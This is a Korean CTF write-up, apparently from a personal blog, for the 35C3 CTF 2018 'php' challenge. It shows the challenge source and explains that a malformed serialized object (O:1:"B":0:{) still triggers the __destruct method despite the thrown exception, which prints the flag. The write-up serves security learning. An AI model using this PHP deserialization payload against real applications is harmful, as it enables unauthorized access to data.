35C3 CTF 2018 php

CTF/Writeup 2018. 12. 30. 15:26

문제에서 제공해주는 소스를 확인해보면 다음과 같다.


<?php


$line = trim(fgets(STDIN));


$flag = file_get_contents('/flag');


class B {

  function __destruct() {

    global $flag;

    echo $flag;

  }

}


$a = @unserialize($line);


throw new Exception('Well that was unexpected…');


echo $a;


간단히 B 클래스의 serialize된 데이터를 넣어주면 될 것 같은데 unserialize 후 강제로 익셉션을 발생시키는 코드 때문에 __destruct 메소드가 호출되지 않았다.

로컬에서 이것저것 테스트해보다가 직렬화된 데이터를 비정상적으로 조작해서 요청하니 다음과 같이 역직렬화 후 __destruct가 호출되는걸 볼 수 있었다.



요대로 문제 서버에 요청해보니 플래그가 나왔다.


payload = O:1:"B":0:{



Flag = 35C3_php_is_fun_php_is_fun

'CTF > Writeup' 카테고리의 다른 글

ROOT CTF 2018 ROOT_Process_2  (0) 2018.12.30
ROOT CTF 2018 ROOT_Process_1  (0) 2018.12.30
Codegate 2014 clone technique  (1) 2018.12.29
X-MAS CTF 2018 Web Write up  (0) 2018.12.24
hwp CTF 2018 unpack0r  (0) 2018.12.10
블로그 이미지

JeonYoungSin

메모 기록용 공간

,